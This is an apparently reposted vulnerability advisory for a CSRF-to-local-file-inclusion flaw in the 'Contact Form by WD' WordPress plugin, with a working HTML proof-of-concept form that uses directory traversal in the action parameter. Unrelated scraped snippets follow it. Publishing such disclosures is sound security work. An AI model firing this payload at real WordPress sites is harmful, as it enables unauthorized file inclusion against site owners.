WordPress plugin Contact Form [CSRF → LFI] vulnerable 2019-03-17

# Exploit Title: Contact Form by WD [CSRF → LFI]
# Date: 2019-03-17
# Exploit Author: Panagiotis Vagenas
# Vendor Homepage: http://web-dorado.com/
# Software Link: https://wordpress.org/plugins/contact-form-maker
# Version: 1.13.1
# Tested on: WordPress 5.1.1

Description
-----------

Plugin implements the following AJAX actions:

- `manage_fm`
- `get_stats`
- `generete_csv`
- `generete_xml`
- `formmakerwdcaptcha`
- `nopriv_formmakerwdcaptcha`
- `formmakerwdmathcaptcha`
- `nopriv_formmakerwdmathcaptcha`
- `product_option`
- `FormMakerEditCountryinPopup`
- `FormMakerMapEditinPopup`
- `FormMakerIpinfoinPopup`
- `show_matrix`
- `FormMakerSubmits`
- `FormMakerSQLMapping`
- `select_data_from_db`
- `manage`

All of them call the function `form_maker_ajax_fmc`. This function
dynamicaly loads a file defined in `$_GET[‘action‘]` or
`$_POST[‘action‘]` if the former is not defined. Because of the way
WordPress defines the AJAX action a user could define the plugin action
in the `$_GET[‘action‘]` and AJAX action in `$_POST[‘action‘]`.
Leveraging that and the fact that no sanitization is performed on the
`$_GET[‘action‘]`, a malicious actor can perform a CSRF attack to load a
file using directory traversal thus leading to Local File Inclusion
vulnerability.

The following AJAX actions are available only for the paid version of
the plugin:

- `paypal_info`
- `checkpaypal`
- `nopriv_checkpaypal`
- `get_frontend_stats`
- `nopriv_get_frontend_stats`
- `frontend_show_map`
- `nopriv_frontend_show_map`
- `frontend_show_matrix`
- `nopriv_frontend_show_matrix`
- `frontend_paypal_info`
- `nopriv_frontend_paypal_info`
- `frontend_generate_csv`
- `nopriv_frontend_generate_csv`
- `frontend_generate_xml`
- `nopriv_frontend_generate_xml`
- `FMShortocde`
- `wd_bp_dismiss`

In both free and paid versions, there are no-privilege actions that can
be exploited by unauthenticated users in order to include local files.

------
PoC
```html

 <form method="post"
 action="http://wp-csrf-new.test/wp-admin/admin-ajax.php?action=../../../../../index.php">
     <label>AJAX action:
         <select name="action">
             <optgroup label="Free version">
                 <option value="FMShortocde_fmc">FMShortocde_fmc</option>
                 <option value="FormMakerEditCountryinPopup_fmc">FormMakerEditCountryinPopup_fmc</option>
                 <option value="FormMakerIpinfoinPopup_fmc">FormMakerIpinfoinPopup_fmc</option>
                 <option value="FormMakerMapEditinPopup_fmc">FormMakerMapEditinPopup_fmc</option>
                 <option value="FormMakerSQLMapping_fmc">FormMakerSQLMapping_fmc</option>
                <option value="FormMakerSubmits_fmc">FormMakerSubmits_fmc</option>
                 <option value="formmakerwdcaptcha_fmc">formmakerwdcaptcha_fmc</option>
                 <option value="formmakerwdmathcaptcha_fmc">formmakerwdmathcaptcha_fmc</option>
                 <option value="frontend_show_matrix_fmc">frontend_show_matrix_fmc</option>
                 <option value="generete_csv_fmc">generete_csv_fmc</option>
                 <option value="generete_xml_fmc">generete_xml_fmc</option>
                 <option value="get_stats_fmc">get_stats_fmc</option>
                 <option value="manage_fmc">manage_fmc</option>
                 <option value="manage_fm_fmc">manage_fm_fmc</option>
                 <option value="nopriv_formmakerwdcaptcha_fmc">nopriv_formmakerwdcaptcha_fmc</option>
                 <option value="nopriv_formmakerwdmathcaptcha_fmc">nopriv_formmakerwdmathcaptcha_fmc</option>
                 <option value="product_option_fmc">product_option_fmc</option>
                 <option value="select_data_from_db_fmc">select_data_from_db_fmc</option>
                 <option value="wd_bp_dismiss_fmc">wd_bp_dismiss_fmc</option>
             </optgroup>
             <optgroup label="Pro Version">
                 <option value="paypal_info_fmc">paypal_info_fmc</option>
                 <option value="checkpaypal_fmc">checkpaypal_fmc</option>
                 <option value="nopriv_checkpaypal_fmc">nopriv_checkpaypal_fmc</option>
                 <option value="nopriv_get_frontend_stats_fmc">nopriv_get_frontend_stats_fmc</option>
                 <option value="get_frontend_stats_fmc">get_frontend_stats_fmc</option>
                 <option value="frontend_show_map_fmc">frontend_show_map_fmc</option>
                 <option value="nopriv_frontend_show_map_fmc">nopriv_frontend_show_map_fmc</option>
                 <option value="show_matrix_fmc">show_matrix_fmc</option>
                 <option value="nopriv_frontend_show_matrix_fmc">nopriv_frontend_show_matrix_fmc</option>
                 <option value="frontend_paypal_info_fmc">frontend_paypal_info_fmc</option>
                 <option value="nopriv_frontend_paypal_info_fmc">nopriv_frontend_paypal_info_fmc</option>
                 <option value="frontend_generate_csv_fmc">frontend_generate_csv_fmc</option>
                 <option value="nopriv_frontend_generate_csv_fmc">nopriv_frontend_generate_csv_fmc</option>
                 <option value="frontend_generate_xml_fmc">frontend_generate_xml_fmc</option>
                 <option value="nopriv_frontend_generate_xml_fmc">nopriv_frontend_generate_xml_fmc</option>
             </optgroup>
         </select>
     </label>
     <button type="submit" value="Submit">Submit</button>
 </form>

```

原文地址:https://www.cnblogs.com/iAmSoScArEd/p/10684183.html

时间: 2024-10-03 02:00:30

WordPress plugin Contact Form [CSRF → LFI] vulnerable 2019-03-17的相关文章

article2pdf (Wordpress plug-in) Multiple vulnerabilities(CVE-2019-1000031, CVE-2019-1010257)

Product: article2pdf (Wordpress plug-in)Product Website: https://wordpress.org/plugins/article2pdf/Affected Versions: 0.24 and greater The following vulnerabilities were found in a code review of the plug-in. An attempt to contact theplug-in maintain

Contact Form 7邮件发送失败的解决办法

一.contact form 7无法发送邮件的原因 对mail()函数的不支持. Contact Form 7表单提交失败在使用过程中会出现,归根结底原因在于wordpress主机问题,由于国 内很多主机并不是wordpress专用主机,采用的是所谓的全能WIN+IIS+PHP,而这样的环境很少支持wordpress本身的mail()发 送邮件函数.所以导致Contact Form 7表单提交失败的原因.这也引出WP Mail SMTP设置问题. 二.解决方法 解决这个问题有两点 1.下载一个插

WP Mail SMTP插件解决Contact Form 7表单提交失败问题

WP Mail SMTP插件解决Contact Form 7表单提交失败问题 WP Mail SMTP是一款非常优秀的解决WordPress主机因为不支持或者是禁用了mail()函数,导致无法实现在线邮件收发功能的插件,这里在详细介绍下有关"WP Mail SMTP插件来解决Contact Form 7表单提交失败问题"的具体方法. 本文以阿里云服务器和QQ邮箱的SMTP为例. 1. 设置WP Mail SMTP插件,如下图所示: ? ? 其中的,1处的 From Email 和 2处

http://www.vaikan.com/docs/jquery.form.plugin/jquery.form.plugin.html#getting-started

Jquery.Form 异步提交表单实例 http://www.aqee.net/docs/jquery.form.plugin/jquery.form.plugin.html#getting-started 1. 在你的页面里写一个表单.一个普通的表单,不需要任何特殊的标记: <form id="myForm" method="post" action="/Home/AjaxForm"><div>Name:<inp

解题报告 smoj 2019初二创新班(2019.3.17)

目录 解题报告 smoj 2019初二创新班(2019.3.17) T1:找玩具 题目描述 题意转化 分析 代码 优化(代码复杂度) T2:闯关游戏 题目描述 分析 代码 T3:子数组有主元素 题目描述 分析 代码(\(O(nm\log n)\)) 优化 代码(\(O(nm)\)) 解题报告 smoj 2019初二创新班(2019.3.17) 时间:2019.3.21 T1:找玩具 题目描述 在游戏开始之前,游戏大师在房间的某些地方隐藏了N个玩具.玩具编号为1到N.您的任务是尽可能多地找到这些玩

【谜客帝国】第148届梦中人主擂谜会(2019.03.15)

[谜客帝国]第148届梦中人主擂谜会(2019.03.15) 主持:瓷    计分:小白 1.夫人囚禁于何处(5字对景点位置咨询语)娘子关在哪 2.找你去战胜排名第二的人(外教练)索尔斯克亚 3.二月里来换新装(莫言小说<蛙>人物)王胆 4.一心除皇上,自然搭上命(科技名词)全息 5.布什更二(货币冠量)一便士 6.“身形婀娜,虽裹在一袭宽大缁衣之中,仍掩不住窈窕娉婷之态”(3字古埃及国王,卷帘格)美尼斯 [注:面为<笑傲江湖>中对仪琳的描写,美尼斯为是埃及第一王朝的开国国王] 7

【谜客帝国】第149届汝隅主擂谜会(2019.03.30)

[谜客帝国]第149届汝隅主擂谜会(2019.03.30) 主持:瓷    计分:雪宝 1.赞歌唱6.1(动漫人物•卷帘)哆啦美 [赞扣美,1和6唱出来是哆啦] 2.“枕前泪共阶前雨,隔着窗儿滴到明”(明人)戚继光 3.湘玉呼展堂,赶紧去上工(4字对酒介绍语,含酒名)叫老白干 4.留下雄信待聚会(金融词二)存单.通汇 5.五音未闻宫徵羽(国际事件•重门)贸易战 [注:先扣商角,重门出底] 6.殷功是否尚存生(对歌手到场情况询问语2+3)崔健在不在 [注:崔护,字殷功] 7.“孤与云长,誓同生死:

聊聊 WordPress 5.1.1 CSRF to RCE 漏洞

作者:LoRexxar'@知道创宇404实验室时间:2019年3月14日 2019年3月13日, RIPS团队公开了一篇关于WordPress 5.1.1的XSS漏洞详情,标题起的很响亮,叫做wordpress csrf to rce, https://blog.ripstech.com/2019/wordpress-csrf-to-rce/ 下面我们就来详细聊聊这个漏洞. 关于WordPress防护 早在2017年10月25号,我曾经写过一篇关于WordPress安全机制的文章. https:

contact form 7 表单变量

[_remote_ip]访者IP[_url]返回页面url[_date]返回日期[_time]返回时间[_post_id]返回postID[_post_title]返回文章名称[_post_url]返回文章URL[_post_author]返回文章作者[_post_author_email]返回文章作者邮件